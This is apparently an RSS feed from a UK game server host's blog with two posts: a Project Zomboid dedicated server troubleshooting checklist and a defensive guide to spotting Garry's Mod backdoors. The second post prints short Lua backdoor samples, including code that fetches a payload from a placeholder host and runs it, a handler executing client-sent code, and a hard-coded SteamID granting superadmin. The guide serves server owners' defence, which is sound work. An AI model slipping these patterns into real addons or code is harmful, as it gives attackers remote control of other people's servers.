<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Zeros Host Blog]]></title><description><![CDATA[Zeros Host Blog]]></description><link>https://zeroshost.hashnode.dev</link><image><url>https://cdn.hashnode.com/uploads/logos/6aff3ac93d21ed1edfa1efb9/6b1b2aeb-fbff-4493-a3b2-bd7de2cc8fe0.png</url><title>Zeros Host Blog</title><link>https://zeroshost.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Sat, 28 Nov 2026 22:20:27 GMT</lastBuildDate><atom:link href="https://zeroshost.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Project Zomboid Dedicated Server Won't Start or Friends Can't Join? 6 Fixes (Build 42)]]></title><description><![CDATA[The same few problems come up again and again with Project Zomboid dedicated servers. Here is a checklist of what to check first. Everything below comes…]]></description><link>https://zeroshost.hashnode.dev/project-zomboid-dedicated-server-won-t-start-or-friends-can-t-join-6-fixes-build-42</link><guid isPermaLink="true">https://zeroshost.hashnode.dev/project-zomboid-dedicated-server-won-t-start-or-friends-can-t-join-6-fixes-build-42</guid><category><![CDATA[gaming]]></category><dc:creator><![CDATA[Zeros Host]]></dc:creator><pubDate>Sat, 21 Nov 2026 18:34:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6aff3ac93d21ed1edfa1efb9/12ae91ea-a7a6-47be-96d7-282a13799207.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The same few problems come up again and again with Project Zomboid dedicated servers. Here is a checklist of what to check first. Everything below comes from the PZ wiki's <a href="https://pzwiki.net/wiki/Dedicated_server">Dedicated server</a> page, which is worth bookmarking.</p>
<h2>1. Ports</h2>
<p>The server needs two UDP ports open, both in your router (port forwarding) and in your firewall:</p>
<ul>
<li><code>16261</code> UDP</li>
<li><code>16262</code> UDP (direct connection)</li>
</ul>
<p>If you run a second server on the same machine, it needs its own pair of UDP ports, set in that server's <code>.ini</code> file.</p>
<h2>2. The server crashes on start with memory errors</h2>
<p><code>StartServer64</code> asks for 16 GB of memory by default. If your machine can't give it that, the server fails to start. Edit the <code>-Xms</code> and <code>-Xmx</code> values in <code>StartServer64</code> to what you can actually spare, for example:</p>
<pre><code class="language-plaintext">-Xms6g -Xmx6g
</code></pre>
<p>for 6 GB.</p>
<h2>3. Launched it from the Steam library?</h2>
<p>Don't start the dedicated server from Steam. Use the <code>StartServer</code> batch file on Windows or <code>start-server.sh</code> on Linux. If you already launched it through Steam, verify the server files and start it again the right way.</p>
<h2>4. "Assertion Failed: Illegal termination of worker thread" after moving to Build 42</h2>
<p>This can happen if you hosted a Build 41 server on the same machine before.</p>
<ul>
<li>Check that <code>steam_appid.txt</code> in the server install folder contains only one line: <code>108600</code>.</li>
<li>Back up any <code>.ini</code>, <code>.lua</code> and save files you want to keep, then delete your Zomboid user folder (<code>C:\Users\YourName\Zomboid</code>). It gets recreated on the next start.</li>
</ul>
<h2>5. Stuck on the loading screen joining your own server</h2>
<p>Make sure the server in your Favorites uses your real public IPv4 address and that <code>16261</code> UDP is forwarded. If you host and play on the same PC and still can't connect, try adding your local IPv4 address (from <code>ipconfig</code>) in the Local IP field.</p>
<h2>6. Character stuck in the void after joining</h2>
<p>This usually happens when you reuse a profile from a server you previously hosted with the in-game Host button. Change the account name in the Add Server panel (for example <code>player</code> to <code>player_1</code>), save, and reconnect.</p>
<h2>Where the settings live</h2>
<p>On Windows, everything is in <code>C:\Users\YourName\Zomboid\Server</code>:</p>
<ul>
<li><code>servertest.ini</code> (server settings)</li>
<li><code>servertest_SandboxVars.lua</code> (sandbox settings)</li>
</ul>
<p>You can edit <code>servertest.ini</code> while the server is running, then use the admin command <code>reloadoptions</code> to apply it.</p>
<h2>Mods</h2>
<p>Put your mods in a Steam Workshop collection, grab the IDs, then fill in two lines in your server <code>.ini</code>:</p>
<ul>
<li><code>Mods=</code> (the mod IDs)</li>
<li><code>WorkshopItems=</code> (the Workshop item numbers)</li>
</ul>
<p>Players who join download the Workshop mods automatically.</p>
<h2>Quick summary</h2>
<ul>
<li>Forward <code>16261</code> and <code>16262</code> UDP in your router and firewall</li>
<li>Lower <code>-Xms</code>/<code>-Xmx</code> if the server dies on start</li>
<li>Start it with the StartServer script, never from the Steam library</li>
<li>Build 41 leftovers cause the "Illegal termination" error on Build 42</li>
<li>Use your public IPv4 in Favorites, or your local one if you host and play on one PC</li>
<li>Rename your account if your character spawns in the void</li>
</ul>
<hr />
<p><em>We are Zeros Host, a small UK game server host. If you'd rather skip port forwarding and keeping a PC on, we run Project Zomboid servers from £10 a month with a 48-hour free trial and no card needed:</em> <a href="https://zerosrp.co.uk/project-zomboid"><em>zerosrp.co.uk/project-zomboid</em></a><em>.</em></p>
]]></content:encoded></item><item><title><![CDATA[What a Garry's Mod Backdoor Actually Looks Like (and How to Spot One)]]></title><description><![CDATA[Five Lua patterns that keep showing up in Garry's Mod backdoors, from http.Fetch into RunString to hard-coded SteamIDs, and what to do if you find one on…]]></description><link>https://zeroshost.hashnode.dev/what-a-garry-s-mod-backdoor-actually-looks-like-and-how-to-spot-one</link><guid isPermaLink="true">https://zeroshost.hashnode.dev/what-a-garry-s-mod-backdoor-actually-looks-like-and-how-to-spot-one</guid><category><![CDATA[Security]]></category><category><![CDATA[Lua]]></category><category><![CDATA[GameDev]]></category><dc:creator><![CDATA[Zeros Host]]></dc:creator><pubDate>Thu, 19 Nov 2026 21:24:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6aff3ac93d21ed1edfa1efb9/1c86ad65-762d-499a-ac1c-aa3ef7c6b8d1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you run a Garry's Mod server, sooner or later you will install an addon that does something it should not. Leaked "premium" scripts and random Workshop uploads are the usual way in. A backdoor in GMod is rarely clever. It is usually a few lines of Lua hidden in a big file, waiting for a signal.</p>
<p>Here are the patterns that show up again and again, and what to do when you find one.</p>
<h2>1. Fetch code from the internet, then run it</h2>
<p>The classic. The addon downloads a string from a remote server and executes it as Lua:</p>
<pre><code class="language-lua">http.Fetch("https://example.invalid/payload", function(body)
    RunString(body)
end)
</code></pre>
<p>Whoever controls that URL can now run any server-side code they like, whenever they like. Look for <code>http.Fetch</code> or <code>http.Post</code> anywhere near <code>RunString</code>, <code>RunStringEx</code> or <code>CompileString</code>.</p>
<p>There is almost never a legitimate reason for an addon to download Lua and run it.</p>
<h2>2. Run whatever the client sends</h2>
<p>A network message that executes its contents on the server:</p>
<pre><code class="language-lua">net.Receive("some_innocent_name", function(len, ply)
    RunString(net.ReadString())
end)
</code></pre>
<p>Any player who knows the message name can run code on your server. The message name is often made to look boring, like a stats or config message.</p>
<h2>3. Hidden strings</h2>
<p>Backdoors try not to look like backdoors. Watch for code that builds strings you cannot read:</p>
<ul>
<li><code>string.char(...)</code> with a long list of numbers</li>
<li><code>util.Base64Decode(...)</code> feeding into <code>RunString</code> or <code>CompileString</code></li>
<li>long hex or escaped strings like <code>"\x68\x74\x74\x70"</code></li>
</ul>
<p>Decoding text for a UI is fine. Decoding text and then executing it is a red flag.</p>
<h2>4. Special treatment for one SteamID</h2>
<p>Code that checks for a specific player and quietly hands them power:</p>
<pre><code class="language-lua">if ply:SteamID() == "STEAM_0:1:12345" then
    ply:SetUserGroup("superadmin")
end
</code></pre>
<p>If an addon you downloaded has a hard-coded SteamID that is not yours, ask why.</p>
<h2>5. Console commands from nowhere</h2>
<p><code>game.ConsoleCommand</code> or <code>RunConsoleCommand</code> calls that fire on a timer or on player join, especially ones that change <code>rcon_password</code>, <code>sv_password</code> or admin groups.</p>
<h2>What to do if you find one</h2>
<ol>
<li><strong>Stop the server</strong> and remove the addon entirely. Do not just comment out the line, because there may be more than one.</li>
<li><strong>Change your RCON password</strong> and any database passwords the server can read.</li>
<li><strong>Check your admin list</strong> for users you did not add.</li>
<li><strong>Restore from a backup</strong> taken before the addon went in, if anything looks touched.</li>
<li>Only reinstall addons from sources you trust, and scan them first.</li>
</ol>
<h2>Scanning instead of reading every file</h2>
<p>Reading every Lua file by hand gets old fast once you have a few hundred addons. On our hosting panel at Zeros Host we added a Backdoor Scanner for Garry's Mod servers: it checks addons for patterns like the ones above and shows you the file, the line number, the code itself and a plain-English reason it was flagged, so you can decide quickly whether it is a real problem.</p>
<p>Whether you use a tool or not, the five patterns above will catch most of what is out there. If you run a GMod server, it is worth a search through your <code>addons</code> folder today.</p>
<p><em>Zeros Host runs Garry's Mod (including DarkRP) and other game servers from the UK, EU and Canada:</em> <a href="https://zerosrp.co.uk"><em>zerosrp.co.uk</em></a><em>.</em></p>
]]></content:encoded></item></channel></rss>